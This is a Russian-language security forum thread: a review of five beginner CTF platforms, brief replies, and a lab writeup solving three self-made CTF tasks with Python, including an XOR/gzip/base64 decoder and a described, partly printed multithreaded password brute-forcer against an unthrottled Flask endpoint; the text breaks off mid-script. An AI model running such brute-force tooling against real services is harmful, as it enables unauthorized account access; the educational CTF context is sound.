 |
|

02.02.2019, 21:45
|
|
Новичок
Регистрация: 03.03.2010
Сообщений: 0
С нами:
8522306
Репутация:
0
|
|
СофтКонкурсРазноеNewbie Antichat CTF team - продолжение
Великий CTF - Инструментарий
Данный список будет пополнятся ссылками на статьи написанные на нашем сайте&форуме,
это дает Вам возможность общаться на прямую с автором и "CTF team",
и видеть не освещенные темы в разделе CTF Zone. Важно: многие CTF дополняются, вопросами и ответами, примерами (иногда стоит перечитать интересующую Вас тему).
|
|
|

17.01.2026, 00:30
|
|
Новичок
Регистрация: 20.02.2022
Сообщений: 0
С нами:
2226531
Репутация:
0
|
|
Введение
Недавно у меня уже выходила статья под названием “Как подготовиться к своему первому CTF: От А до Я для новичков” вот сслыка на неё -> https://codeby.net/threads/kak-podgotovit-sya-k-svoyemu-pervomu-ctf-ot-a-do-ya-dlya-novichkov.92108/. В той статье, мы научились минимальным базовым навыкам и также я рассказал о 3 платформах на которых можно потренироваться. В этой статье, мы не будем знакомиться с самим CTF и не будем говорить что для этого нужно, здесь будет просто обзор платформ, которые подходят для начинающих игроков. Если вам интересно, что нужно для старта, то ссылка на статью выше. В этой статье мы поговорим о целых 5 не просто платформах, а 5 дружелюбных платформах для новичков. Сделаем большой разбор этих платформ, разберём доступность, посмотрим на категории задач и язык интерфейса. Важно грамотно выбрать свою первую CTF-площадку чтобы постепенное и комфортное погружение было таковым.
Обзор 5 вариантов: picoCTF, CyberSchool CTF, Hackerlab, HackTheBox, Root-me (для новичков).
Игры CTF ещё давно стали школой практических навыков, но их “ландшафт” столь разнообразен, что легко растеряться. Начнём мы наверное, с легенды, это надёжный трамплин в мир информационной безопасности.
PicoCTF
PicoCTF — это культовый образовательный проект, созданный специалистами Университета Карнеги — Меллон (CMU). Его миссия с самого основания была благородной: сделать формат игр Capture The Flag доступным, увлекательным и по-настоящему дружелюбным для абсолютных новичков, ОСОБЕННО для школьников и студентов. PicoCTF стал для многих тем самым “волшебным порталом”, через который они впервые шагнули из теоретических основ в живую, осязаемую практику взлома и защиты (и я не стал исключением =) ). Ключевая особенность PicoCTF – его игровая оболочка. Вместо жёстких и порой непонятных технических описаний участники погружаются в тематическую историю, а за решённую задачу дают “флаг”. Этот подходит кардинально снижает стресс и превращает обучение в приключение.
Категории Задач
Задачи в PicoCTF охватывают все классические категории CTF: криптография, стеганография, реверс-инжиниринг, веб-уязвимости, анализ сетевого трафика и pwn. А подача материала выстроена идеально: от простого к сложному. Самые первые таски настолько базовые, что для их решения требуется лишь внимательно прочитать условие или применить самую очевидную логику. Это даёт мгновенное чувство успеха и мотивацию двигаться дальше.
Доступность
PicoCTF работает через современный веб-интерфейс. Участнику не требуется сложная первоначальная настройка окружения — практически всё можно сделать прямо в браузере или с помощью стандартных, легко устанавливаемых утилит. Платформа абсолютно бесплатна, а архив прошлых лет всегда доступен для самостоятельной тренировки, что является бесценным ресурсом.
Ссылка -> picoCTF - CMU Cybersecurity Competition
CyberSchool CTF

CyberSchool CTF представляет собой целостную образовательную экосистему, созданную для планомерного и глубокого погружения в мир информационной безопасности. В отличие от многих зарубежных аналогов, эта платформа изначально заточена под потребности русскоязычной аудитории. Главное отличие CyberSchool CTF - её ярко выраженная учебная направленность. Платформа часто выступает как онлайн-составляющая очных школ и курсов, что накладывает отпечаток на её структуру. Подход можно охарактеризовать как «объясняющий»: после решения часто доступны разборы, а логика построения цепочек заданий ведёт участника по заранее продуманной учебной траектории.
Категории Задач
CyberSchool CTF предлагает сбалансированный и современный набор категорий: Криптография, стеганография, реверс-инжиниринг и веб-уязвимости представлены с фундаментальным подходом. Особый акцент на OSINT и Digital Forensics (цифровую криминалистику), что является её сильной и узнаваемой стороной. Часто встречаются задачи по анализу вредоносного ПО (Malware Analysis), безопасности мобильных приложений и сетевым атакам.
Доступность
Весь интерфейс, формулировки задач, подсказки и WriteUps представлены на русском языке. Доступ к платформе, как правило, бесплатный. CyberSchool регулярно проводит открытые вводные турниры и предоставляет доступ к архивам задач для самостоятельного обучения. Платформа работает через стандартный веб-интерфейс, чистый и функциональный. Задачи часто требуют использования стандартного набора инструментов, но их решение построено так, чтобы участник понимал, почему используется та или иная утилита.
Ссылка -> Кибершкола - образование в сфере информационной безопасности
Hackerlab
HackerLab — платформа для отработки навыков, обучения и сертификации в области информационной безопасности. Задачи, приближенные к реальности, для специалистов любого уровня. Hackerlab представляет собой гибкую и открытую CTF-платформу, которая позиционирует себя не столько как глобальный образовательный проект, сколько как инструмент для сообществ. На платформе присутствует рейтинговая система, система “First blood”, таблица лидеров (по очкам) и подробная статистика на ваши сильные стороны. Платформа имеет свой Блог, который постепенно пополняется интересными и полезными статьями касательно CTF. Также платформа предоставляет курсы благодаря которым вы можете учиться и практиковаться в 1 месте. Задания появляются каждую неделю и ровно столько же доступны абсолютно для всех, после чего они отправляются в архив.
Категории Задач
На выбор предоставлены все основные категории: Pentest Machines, OSINT, PWN, Web, Stenography, Reverse engineering, Entertainment, Forensics, Cryptography. Задачи разделены на 3 уровня сложности: Лёгкий, Средний, Сложный. Уровень сложности определяется игроками, которые уже решили таск.
Доступность
Весь интерфейс, задания, подсказки, описание и WriteUps предоставлены на русском языке. Доступ к платформе, условно, бесплатный. Платформа имеет 2 платных подписки, без них вам доступно только 15% заданий на сайте. Первая подписка предоставляет доступ к: Доступ к архивным заданиям, Изолированную инфраструктуру. Вторая подписка предоставляет уже то, что я описал выше и пару курсов. Платформа работает через стандартный веб-интерфейс. Задачи часто требуют использования стандартных утилит, но поэтапного интуитивного направления нет. Игрок должен сам найти уязвимость и эксплуатировать.
Ссылка -> https://hackerlab.pro
HackTheBox

HackTheBox – это огромная площадка, целая индустрия и культовая экосистема. Она позиционируется как профессиональная среда для оттачивания навыков пентеста. В отличие от CTF площадок с их точечными головоломками, HTB предлагает моделировние полноценных инфраструктур – от отдельных серверов до сложных корпоративных сетей, требующих глубокого анализа, методичного продвижения и творческого мышления. Здесь не будет подсказок “найди флажок в комментарии html”. Здесь игрок сталкивается с работающей машиной (виртуальным сервером), которую нужно исследовать, как настоящию целевую систему. Цель – получить полный контроль. Такой end-to-end подход воспитывает именно ту логику действий, которая требуется в реальных пенстестах и соревнованиях по Attack-Defense. У платформы есть своя академия, лаборатория, лаборатория по защите, CTF площадка и вакансии для поиска работы.
Категории Задач
На HTB нет стандартных CTF-категорий. Вместо них развиваются комплексные навыки: Сетевая разведка и энумерация, Веб-эксплуатация, Взлом криптосистем и стенагрофия, Реверс-инжиниринг и анализ бинарных файлов, Эксплуатация уязвимостей, Внутрисетевое перемещение, AD атаки(Active Directory).
Доступность
Язык интерфейса и все материалы – исключительно на английском языке. Это осознанный выбор, чтобы игрок погружался в профессиональную среду, где весь инструментарий, эксплойты и документация существуют на английском языке. Бесплатный аккаунт даёт доступ к ограниченному, но очень ценному контенту: втупительная задача, все машины Starting Point, часть машин из Tracks и несколько случайных машин. Имеет платные подписки.
Ссылка -> Cyber Mastery: Community Inspired. Enterprise Trusted.
Root-me
Root-me – это французская платформа, которая на протяжении многих лет остаётся верной своей первоначальной миссии: предоставить чётко структурированную, практическую среду для обработки конкретных технических навыков. В отличие от HTB или игровых вселенных вроде PicoCTF, Root-me предлагает спартанский подход. Это хорошо организованный учебный полигон, где каждая задача – целевое упражнение на определённую уязвимость или технологию. Философия Root-me проста и эффективна: Здесь есть вызов – взломай его. Платформа построена вокург концепции изолированных испытаний, которые игрок проходит, чтобы получить свои очки и подняться в общем рейтинге. Элемент публичного рейтинга добавляет соревновательный азарт и служит наглядным измерителем прогресса. Платформа учит не через долгие объяснения, а через непосредственное столкновение с проблемой, поощеряя самостоятельный поиск информации и эксперименты.
Категории Задач
У Root-me невероятно широк и детализирован в охвате тем: Веб-безопасность, Взлом приложений, Криптоанализ, Стеганография, Сетевая безопасность, Программирование, Форензика.
Доступность
Т.к root-me позиционирует себя как междунродная платформа, её интерфейс и подавляющее большинство задач представлены на английском и французском языках. Это отражает её европейское происхождение. Также на платформе есть поддержка русского и немецкого языков. Платформа полностью бесплатная и не имеет платных подписок. Весь функционал, включая все задачи, VM для веб-испытаний и систему рейтинга, открыты после регистрации.
Ссылка -> Bienvenue [Root Me : plateforme d'apprentissage dédiée au Hacking et à la Sécurité de l'Information]
Совет
Когда ты только начнёшь играть в свои первые CTF, тобой может завладеть болезнь перфекционизма и ложного понятия о “честной победе”. Возникает убеждение, что ценность имеет только флаг, добытый исключительно собственными силами, без единой подсказки. Это опасное заблуждение, которое может замедлить процесс обучения в десятки раз и привести к выгоранию. Гораздо более мудрой и профессиональной стратегией является сознантельный отказ от попыток решить абсолютно всё в одиночку. Истинный рост лежит в умении учиться, а главным учебным ресурсом другие люди – как конкуренты, так и наставники.
Ваше время и ментальная энергия - ограничены. Потратишь шесть часов на борьбу с одной задачей, упираясь в тупик из-за незнания одной ключевой концепции – это не героизм, а неэффективное использование ресурсов. Если вы застряли на задаче после честной и вдумчивой попытки (30-60 минут), это сигнал не к тому, чтобы тильтануть, а к тому, чтобы изменить подход. Разрешите себе переходить к следующему таску или искать направления для мысли.
После того как вы сдали флаг (возможно, даже с небольшой подсказкой), ваша работа не заканчивается – она переходит в ключевую фазу. Найдите и внимательно изучите Write-Up этой задачи, написанным другим игроком. Ваша цель не сверить ответ, а понять: - Логику автора
- Неизвестные инструменты и команды
- Ход рассуждений
- Альтернативные пути
Ваша цель на учебных платформах – не набрать все очки и занять место в топ любой ценой. Ваша цель – нарастить мышечную массу знаний и сформировать рефлексы. Стратегическое использование внешних ресурсов (writeups, обсуждения, подсказки) делает ваше обучение значительно более быстрым и глубоким. Вы перестаёте просто решать таски и начинаете систематически изучать уязвимости, инструменты и методы. В этом и заключается путь от новичка, который бьётся в одиночку над одной головоломкой, к специалисту, который умеет эффективно решать целый класс проблем, потому что научился учиться у всех вокруг.
Мотивация
Мысль о том, что участие в CTF даёт мощный буст знаниям и уверенности, лежит в основе образовательной магии соревнований. Давай смоделируем ситуацию: Ты долго и усердно читал статьи, смотрел видео, проходил какие-то курсы, но всё это оставалось в теоритической части. А потом ты регистрируешься на первой платформе, видишь первую задачу, и у тебя в голове пустота и лёгкая паника. Но ты не сдаёшься, ты начинаешь копать, пробовать, ошибаться, искать – и вдруг, всё складывается. Ты находишь флаг, и на экране надписать “Solved”. В этот момент происходит нечто большее, чем просто получение очков. Ты как будто выпил Mountain Dew и заел Doritos. Это чувство невозможно описать словами, можно только приблизительно описать, как будто бы отменили пары на неделю, как будто получил посылку которую ждал месяц. Это чувство – чистейший катализатор. Знание, добытое таким путём, становится твоим по-настоящему – оно срастается с твоим мышлением навсегда, потому что ты вложил в него время, усилия и сообразительность. Каждая тема – маленькая победа – это кирпичики в фундаменте твоей профессиональной уверенности. Постепенно уходит синдром самозванца, эта мысль, что “всё это для избранных, а я тут случайный”. У тебя уже есть алгоритм: Разбить проблему на части, исследовать, тестировать, искать информацию, пробовать снова. Этот алгоритм и есть главный навык, который ты выносишь из любого соревнования.
Ты получаешь не просто список решённых задач. Ты получаешь устойчивую веру в свои растущие силы. Каждый новый челлендж перестаёт пугать, а начинает манить – как возможность доказать самому себе, что ты можешь ещё больше. Запускается самоподдерживающаяся машина роста.
|
|
|

21.01.2026, 14:37
|
|
Новичок
Регистрация: 23.09.2019
Сообщений: 0
С нами:
3495260
Репутация:
0
|
|
Я очень удивлен, что TryHackMe отсутствует в статье. Великолепная платформа.
|
|
|

21.01.2026, 21:33
|
|
Новичок
Регистрация: 12.04.2026
Сообщений: 0
С нами:
48975
Репутация:
0
|
|
Согласен. Странно почему tryhackme нет в списке. Мне она больше понравилась чем htb.
|
|
|

25.01.2026, 00:01
|
|
Новичок
Регистрация: 27.11.2025
Сообщений: 12
С нами:
245026
Репутация:
0
|
|
// Lab-based writeup в формате статьи, смоделировал 3 CTF задачи и решил их скриптом!
Что вас ждёт в статье:
1. Введение
2. Типовые задачи, где автоматизация решает
3. Первая практика: «Noise Pipeline»
4. Вторая практика: «Access Denied»
5. Третья практика: «Lost Artifact»
6. Как использовать такие скрипты в реальной работе?
7. Что это даёт Blue Team
8. Заключение
1. Введение
В CTF и прикладном пентесте системы почти никогда не падают от одного красивого приёма.
Чаще всего работа выглядит куда приземлённее. Перед исследователем оказывается набор однотипных действий и данных, в которых нужно терпеливо вычленить смысл. Почти всегда среда имеет сотни строк мусорного вывода, повторяющиеся ответы сервиса, каталоги с десятками файлов, среди которых спрятана одна важная деталь. Теоретически всё это можно разобрать вручную, но на практике именно здесь быстрее всего заканчивается внимание и аккуратность.
Python в таких ситуациях оказывается полезным рабочим инструментом. Несколько десятков строк кода позволяют превратить хаотичное ковыряние в последовательный процесс. Появляется понятная логика действий, проверяемые гипотезы и результат, который можно воспроизвести в любой момент. Машина берёт на себя повторяющуюся работу, а человек остаётся там, где действительно нужен анализ.
Эта статья посвящена именно таким задачам. Без сложных эксплойтов и больших фреймворков. Речь пойдёт о небольших скриптах, которые снимают рутину и позволяют работать с данными системно. Декодирование шумных потоков, перебор пароля на пути к эндпоинту и анализ файловых свалок после инцидента - это примеры задач, которые плохо масштабируются вручную и отлично ложатся на автоматизацию.
В качестве практической части я собрал три лабораторные задачи, оформленные в духе классических CTF, но основанные на типичных реальных сценариях. Каждая из них начинается с ручной разведки и довольно быстро упирается в предел человеческого подхода. Дальше появляется необходимость формализовать действия и переложить их на код. На этих примерах видно, как возникает идея автоматизации, почему первые версии скриптов почти всегда наивные и как они постепенно превращаются в полезный инструмент.
Важно и то, что такой взгляд полезен не только атакующей стороне. Для Blue Team эти же ситуации хорошо показывают, насколько легко автоматизируется эксплуатация слабых мест.
Любая защита, рассчитанная на человеческий темп и поведение, начинает сбоить, когда одно и то же действие выполняется сотни или тысячи раз без усталости и ошибок. Именно в таких условиях становятся заметны логические допущения, избыточные доверия и неаккуратная обработка данных, которые в спокойном режиме могут годами оставаться незамеченными.
2. Типовые задачи, где автоматизация решает
Одна из самых частых ситуаций в СTF - это работа с данными, которые намеренно или случайно приведены в нечитаемый вид. Различные кодировки, несколько слоёв преобразований, обфускация ради обфускации. Вручную можно раскрутить одну строку, максимум две, но когда таких сообщений десятки или сотни, ручной анализ превращается в бессмысленное повторение одних и тех же действий. Скрипт здесь позволяет сэкономить огромное количество времени.
Далее выделю перебор, как самый очевидный формат, где без автоматизации никуда. Параметры, значения, эндпоинты, последовательности запросов. Почти всегда на старте кажется, что пространство поиска небольшое и всё можно проверить руками. На практике же вариантов оказывается больше, ответы сервиса ведут себя не всегда очевидно, а различия между ошибкой и успехом бывают минимальными. Автоматизация позволяет действовать системно. Фиксировать попытки, отслеживать скорость, реагировать на изменения в ответах и вовремя остановиться, когда цель достигнута. Этому блоку посвящена наша вторая лаба.
Ну и напоследок продемонстрирую автоматизированный анализ эмулированного дампа пользовательских файлов, куда я по классике включил логи, временные каталоги, кэши и бинарные данные. Большая часть таких данных не несёт полезной информации, но среди них может скрываться один артефакт, который нам и нужен. Просматривать всё это вручную - занятие неблагодарное и крайне ненадёжное. Скрипт же может пройтись по всей структуре, отфильтровать очевидный мусор, вытащить строки интереса, попытаться декодировать подозрительные фрагменты и свести результат в удобный вид.
Во всех этих случаях автоматизация не заменяет анализ, а освобождает для него место. Код берёт на себя механическую часть работы, а мы сидим и смотрим за его выполнением результата. Именно поэтому такие скрипты становятся универсальным инструментом как в CTF, так и в реальном пентесте или DFIR‑разборе.
Ну что же, начнём практический модуль с загадочным образом зашифрованных данных, в которых нам нужно будет найти флаг любым путём!
3. Первая практика: «Noise Pipeline»
Я смоделировал следующие условияCTF задачи:
Был произведёт перехват потока данных, который, по всей видимости, используется для передачи управляющих сообщений между компонентами системы.
Каждое сообщение выглядит как случайный набор символов и на первый взгляд не содержит полезной информации.
Однако анализ одного из пакетов показал, что данные проходят через несколько этапов преобразования перед отправкой.
Задача: восстановить исходное содержимое сообщений и найти флаг.
Формат флага: CTF{...}
Для начала произведём знакомство с артефактом:
Работа с задачей начинается с минимальной разведки предоставленных данных. В нашем распоряжении находится единственный артефакт - каталог с файлом messages.txt. Проверка содержимого директории показывает, что дополнительных вспомогательных файлов или скриптов нет, а вся полезная нагрузка сосредоточена в одном объекте.
Размер файла около 10 килобайт указывает на то, что внутри содержится достаточно большое количество сообщений. Это сразу наводит на мысль, что задача рассчитана не на разбор одного-двух примеров, а на массовую обработку однотипных данных. Такой объём ещё можно просмотреть вручную.
Первый взгляд на содержимое файла
На следующем этапе логично заглянуть внутрь файла и понять, с чем именно предстоит работать.
Первичный просмотр файла показывает, что данные не являются случайными. Все строки имеют одинаковую длину, состоят исключительно из символов Base64‑алфавита и начинаются с сигнатуры H4sIA. Эта последовательность хорошо известна и характерна для gzip‑архивов, закодированных в Base64.
Из этого можно сделать предварительный вывод, что перед нами многострочный поток данных, прошедший как минимум два этапа преобразования: Base64‑кодирование, за которым следует сжатие gzip. При этом наличие большого количества строк указывает на то, что каждая строка представляет собой отдельное сообщение, обработанное по одной и той же схеме.
Пока что можно попробовать вручную декодировать одну строку, чтобы понять характер вложенных данных. Однако очевидно, что при большом количестве сообщений такой подход не эффективен.
Формируем ключевую гипотезу лабораторной работы: перед нами не одна сложная загадка, а простой алгоритм, многократно применённый к разным сообщениям. А значит, решаться он должен кодом, а не руками.
Проверка гипотезы о Base64 и gzip
После первичного анализа возникает логичное предположение, что строки в файле представляют собой gzip‑сжатые данные, дополнительно закодированные в Base64. Эту гипотезу можно быстро проверить, взяв одну строку и последовательно применив оба преобразования.
Полученный результат на первый взгляд выглядит как бессмысленный набор символов и явно не является читаемым текстом. Тем не менее этот шаг принципиально важен, ведь команда выполнилась без ошибок, а значит оба предположенных слоя действительно присутствуют и корректно декодируются.
Именно отсутствие ошибок и появление бинарного вывода подтверждают гипотезу. Если бы порядок преобразований был неверным или сигнатура оказалась ложной, мы получили бы сообщение об ошибке декодирования или повреждённого архива. Вместо этого мы видим выходные данные, просто представленные не в привычном текстовом виде.
Это позволяет сделать следующий вывод:
Base64 и gzip - лишь внешние слои шума, а внутри скрывается ещё одно преобразование.
Судя по характеру вывода, речь идёт не о полноценном шифровании, а о простой, массово применённой обфускации, например XOR с фиксированным ключом, побитовых операциях или замене символов. Такие техники часто используются именно для того, чтобы сломать автоматическое чтение, но при этом оставаться тривиальными в реализации.
Переход от символов к байтам
На предыдущем этапе мы убедились, что после снятия слоёв Base64 и gzip данные остаются нечитаемыми. Однако попытка интерпретировать бинарный поток как текст - заведомо слабая стратегия. Чтобы понять, с чем мы имеем дело на самом деле, нужно посмотреть на байты напрямую.
Для этого выведем результат в виде hex‑дампа:
После распаковки gzip данные по‑прежнему не читаются, но hex‑дамп даёт куда более полезную картину. Поток тоже выглядит упорядоченным. значения байтов лежат в ограниченном диапазоне, отсутствует характерный для сжатых или зашифрованных данных белый шум, а структура повторяется.
Такой профиль данных типичен для простой XOR‑обфускации с фиксированным ключом. Это распространённый приём в CTF‑задачах, он почти ничего не даёт с точки зрения криптографии, но эффективно ломает наивные попытки анализа и вынуждает перейти к байтовому уровню.
На этом этапе важно, что нам больше не нужно гадать вслепую. Цепочка преобразований уже вырисовывается чётко:
Base64 => gzip => XOR.
Остаётся определить ключ. И здесь начинают появляться первые подсказки.
При попытках ручного анализа и частичного перебора становится заметно, что результат расшифровки подозрительно складывается в осмысленные ASCII‑символы, а в выходных данных начинает угадываться слово key!
Это сильный сигнал о том, что используется короткий, человекочитаемый XOR‑ключ, применённый ко всем сообщениям одинаково.
Проверка гипотезы об XOR‑ключе
После анализа бинарного потока возникает обоснованное предположение, что поверх gzip‑данных применена простая XOR‑обфускация с коротким фиксированным ключом. Чтобы не усложнять и не писать код раньше времени, эту гипотезу удобно проверить на одной строке.
В качестве пробного ключа используется "key".
Применим XOR к результату распаковки:
Результат сразу становится осмысленным текстом, победа!!
Этот вывод однозначно подтверждает всю цепочку преобразований. Данные представляют собой обычные текстовые сообщения, последовательно прошедшие через XOR‑обфускацию с ключом key, затем сжатие gzip и, в финале, Base64‑кодирование. Каждый слой по отдельности тривиален, но вместе они эффективно маскируют содержимое при поверхностном анализе.
На этом этапе задача перестаёт быть просто исследовательской, алгоритм полностью понятен.
Однако вручную применять эту цепочку к сотне строк бессмысленно.
Настало время оформить полученные шаги в полноценный Python скрипт и прогнать его по всему файлу,
чтобы восстановить все сообщения и найти среди них флаг!!
Написание и применение скрипта
После того как цепочка преобразований была полностью восстановлена, оставалось зафиксировать её в виде простого скрипта и применить ко всем строкам входного файла.
На этом этапе задача окончательно превращается в инженерную, нужно аккуратно и воспроизводимо снять все уровни обработки данных и мы это прописываем в следующем виде:
Скрипт реализует ровно ту же последовательность шагов, которая ранее проверялась вручную на одном сообщении. Для каждой строки файла выполняется Base64‑декодирование, затем распаковка gzip‑данных, после чего применяется XOR‑декодирование с найденным ключом. Все операции выполняются над байтовыми данными, без попыток преждевременно интерпретировать их как текст.
XOR‑декодирование вынесено в отдельную функцию и реализовано максимально прямо.
Каждый байт входных данных складывается по XOR с соответствующим байтом ключа, который повторяется циклически. Такой подход подчёркивает, что здесь нет никакой криптографии, и это лишь простая обфускация, одинаково применённая ко всем сообщениям.
Полученный результат преобразуется в строку с использованием кодировки latin1. Это осознанный выбор, ведь такая кодировка позволяет корректно отобразить любые байты и избежать ошибок декодирования, что особенно важно при работе с нестандартными или частично повреждёнными данными.
Файл messages.txt читается построчно, пустые строки отбрасываются, а каждая строка обрабатывается независимо от остальных. Это делает скрипт устойчивым к ошибкам, даже если одно сообщение окажется некорректным, обработка всего файла не прервётся. Для удобства анализа вывод нумеруется, что позволяет легко сопоставлять исходные и расшифрованные сообщения.
В результате весь шумный поток данных за один запуск превращается в читаемый лог, внутри которого уже можно искать аномалии, управляющие команды или сам флаг.
Именно на этом этапе становится очевидно, насколько ручной подход был бы неэффективен, то, что заняло бы десятки минут однообразной работы, сводится к одному запуску скрипта.
Так давайте же воспроизведём пуск:
Наблюдаем, что после запуска скрипта весь файл декодируется в читаемый текстовый поток, состоящий в основном из однотипных служебных сообщений. Большая часть вывода представляет собой регулярные heartbeat и status update, которые формируют фоновый шум и не несут самостоятельной ценности. Именно из‑за такого объёма однотипных данных ручной анализ на исходном этапе был бы практически бесполезен.
Чтобы упростить дальнейшую работу, результат декодирования перенаправляется в отдельный файл. Это позволяет применять стандартные инструменты анализа текста и быстро искать интересующие маркеры:
Поиск по шаблону сразу выявляет строку, выбивающуюся из общего потока!
Выводы по первой лабе:
Первая лабораторная показала, как легко потеряться в море одинаковых служебных сообщений.
Флаг здесь не прятался в сложной криптографии, он был зарыт под тонной однообразного шума, ну тупо как сокровище.
Без автоматизации искать его вручную было бы тупой пыткой, десятки почти идентичных строк съедают внимание и время, анализаторские способности сходят на нет. Скрипт, который мы написали, снял всю рутину, превратил хаос в аккуратный поток и позволил сосредоточиться только на том, что реально важно, т.е. на флаге.
В итоге CTF{noise_pipeline_working} всплыл почти сам собой, и мы убедились, что правильный инструмент - это важнейшая в работе вещь.
Лаба наглядно показывает, почему знание python и автоматизации являютя обязательными навыками в любом CTF или пентесте, без этих знаний уныние съест тебя быстрее любого задания.
P.S.
У Burp Suite есть схожий функционал через Decoder, Intruder или цепочки трансформаций можно вручную прогонять Base64 => Gzip => XOR и смотреть результат.
Для разового анализа это работает и даже удобно на этапе гипотез.
Но в рамках настоящего CTF такой подход быстро начинает проигрывать скрипту. Burp остаётся интерактивным инструментом, а не средством массовой обработки, ведь он плохо масштабируется на десятки строк, требует ручных действий и не даёт воспроизводимого пайплайна.
Скрипт же автоматически обрабатывает весь файл целиком, чётко фиксирует порядок декодирования, легко модифицируется под другой ключ или формат и позволяет сразу применять фильтрацию (grep, strings, регулярки). В итоге анализ превращается не в кнопконажимательство, а в подконтрольный повторяемый и контролируемый процесс.
P.P.S.
Сам скрипт, пользуйтесь на здоровье:
Python:
Код:
#!/usr/bin/env python3
import
base64
import
gzip
KEY
=
b"key"
# найденный XOR-ключ
def
xor_data
(
data
:
bytes
,
key
:
bytes
)
-
>
bytes
:
return
bytes
(
b
^
key
[
i
%
len
(
key
)
]
for
i
,
b
in
enumerate
(
data
)
)
def
decode_line
(
line
:
str
)
-
>
str
:
# 1. base64
compressed
=
base64
.
b64decode
(
line
)
# 2. gzip
xored
=
gzip
.
decompress
(
compressed
)
# 3. XOR
decoded
=
xor_data
(
xored
,
KEY
)
# 4. перевод в текст
return
decoded
.
decode
(
"latin1"
)
def
main
(
)
:
with
open
(
"messages.txt"
,
"r"
,
encoding
=
"utf-8"
)
as
f
:
lines
=
[
line
.
strip
(
)
for
line
in
f
if
line
.
strip
(
)
]
for
i
,
line
in
enumerate
(
lines
,
1
)
:
try
:
decoded
=
decode_line
(
line
)
print
(
f"[{i:03}]{decoded}"
)
except
Exception
as
e
:
print
(
f"[{i:03}] "
)
if
__name__
==
"__main__"
:
main
(
)
4. Вторая практика: «Access Denied»
Я смоделировал следующие условияCTF задачи:
В ходе тестирования веб-приложения был обнаружен служебный flask эндпоинт, предназначенный для внутреннего доступа. Эндпоинт принимает параметр password и возвращает различный ответ в зависимости от корректности значения.
Известно, что:- пароль состоит из шести символов
- используются только цифры
- при неверном значении сервер отвечает стандартным сообщением об ошибке
Задача: получить доступ к защищённому разделу и извлечь флаг.
Формат флага: CTF{...}
Решение:
Сначала проверим, как эндпоинт реагирует на ручные запросы. Для этого используем curl и отправим несколько произвольных значений параметра password:
Во всех случаях сервер отвечает одинаковым сообщением access denied, независимо от переданного значения. Ответ не меняется ни по содержимому, ни по формату, что говорит об отсутствии дополнительных защитных механизмов вроде капчи, блокировок или рандомизации ошибок.
Такое поведение означает, что, во-первых, сервер обрабатывает каждый запрос детерминированно, а во-вторых, он не пытается скрыть логику проверки пароля.
При этом одинаковый ответ делает ручной перебор бессмысленным, визуально отличить корректное значение от некорректного невозможно, а количество вариантов слишком велико для перебора вручную.
Следовательно, дальнейшая работа должна быть сосредоточена на автоматизации и поиске косвенных различий в поведении сервера, которые не видны при поверхностном тестировании.
Автоматизация перебора
Поскольку эндпоинт не ограничивает количество попыток и всегда возвращает одинаковое сообщение об ошибке, становится возможной полная автоматизация перебора пароля.
Это классическая ситуация для CTF-задач:
защита формально есть, но она никак не мешает машинной атаке.
Ручной перебор сразу отбрасывается как непрактичный, ведь диапазон значений слишком большой, а визуальных различий в ответах нет. Следовательно, единственный разумный путь в том, чтобы написать собственный брутфорс скрипт!
Что я и сделал:
Скрипт начинается с подключения библиотек requests, concurrent.futures, threading и time, которые используются для отправки HTTP-запросов, организации многопоточности, синхронизации потоков и замера скорости работы.
Переменная URL задаёт адрес целевого эндпоинта, а MAX_WORKERS = 20 ограничивает количество одновременно работающих потоков. Это сделано для стабильности системы, пробовал разные значения и 20 потоков - это всего лишь потолок моей слабенькой VM, на которую я в процессе брутфорса старался не дышать греха подальше.
found_event - это глобальный флаг, который используется как сигнал остановки. Когда правильный пароль найден, он устанавливается, и все потоки прекращают дальнейшую работу.
attempts - счётчик количества выполненных запросов,
lock - объект синхронизации, защищающий доступ к счётчику в многопоточном окружении,
start_time - точка отсчёта для расчёта скорости перебора.
Функция try_password - это рабочая единица атаки. Она принимает один вариант пароля, отправляет его серверу через POST-запрос и анализирует ответ. Если глобальный флаг found_event уже установлен, функция сразу завершает работу, чтобы не выполнять лишние запросы. После отправки запроса счётчик попыток увеличивается в потокобезопасном режиме. Если в ответе сервера отсутствует строка access denied, это означает, что пароль корректный и флаг завершения устанавливается, и функция возвращает найденный пароль и ответ сервера.
Функция status_printer работает в отдельном фоновом потоке и служит исключительно для мониторинга. Она регулярно считывает количество попыток, вычисляет скорость перебора в запросах в секунду и выводит эту информацию в консоль в режиме реального времени. Это позволяет с интересом наблюдать эффективность атаки.
Далее создаётся пул потоков ThreadPoolExecutor, внутри которого генерируются все шестизначные числовые комбинации с форматированием f"{i:06d}". Каждое значение передаётся в пул как отдельная задача. Таким образом формируется параллельный поток запросов к эндпоинту.
Как только один из потоков возвращает успешный результат, основной цикл перехватывает его, выводит найденный пароль и ответ сервера, после чего перебор немедленно останавливается.
В результате скрипт реализует полный автоматизированный брутфорс без ручного участия, демонстрируя уязвимость эндпоинта, в котором нет лимита попыток, капчи, тайминговых задержек и механизмов защиты от автоматизации. Такая ситуация превращает задачу подбора пароля в чисто техническую операцию, полностью решаемую кодом.
Запуск скрипта
После запуска начинается активный перебор пароля. В консоль в реальном времени выводится статистика работы. Добавил этот элемент, чтобы скрипт не смотрелся совсем уныло без вывода данных, а так циферки бодро крутятся, процесс наблюдения занимательный.
Показатель Attempts же отражает то, сколько запросов уже было отправлено на эндпоинт, Speed демонстрирует фактическую пропускную способность атаки с учётом сетевых задержек и обработки запросов сервером. В данном случае скорость порядка ~170 запросов в секунду, далее она может меняться, всё зависит от пропускной способности flask.
Скрипт сработал!
Примерно через 10 минут работы скрипт зафиксировал изменение поведения сервера.
На фоне стандартного потока ответов access denied появляется иной ответ, что сразу перехватывается логикой проверки в коде.
В этот момент перебор останавливается, выводится найденное значение пароля и полный ответ сервера. Это наглядно демонстрирует ключевой момент задачи, что защита, рассчитанная на ручной ввод и ограниченное число попыток, полностью разваливается при автоматизированном подходе. Шестизначный числовой пароль при отсутствии лимита попыток, задержек и блокировок превращается в задачу на ожидание, в нашем случае около десяти минут при скорости ~150 запросов в секунду.
Полученный ответ сервера сразу содержит искомый флаг CTF{awesome_bruteforce}, что логически завершает лабораторную работу и подчёркивает, насколько тривиальной становится эксплуатация подобных эндпоинтов при использовании даже простого Python-скрипта.
В логах сервера картина наглядная:
P.S. сам скрипт:
Python:
Код:
import
requests
from
concurrent
.
futures
import
ThreadPoolExecutor
,
as_completed
import
threading
import
time
URL
=
"..."
MAX_WORKERS
=
20
found_event
=
threading
.
Event
(
)
attempts
=
0
lock
=
threading
.
Lock
(
)
start_time
=
time
.
time
(
)
def
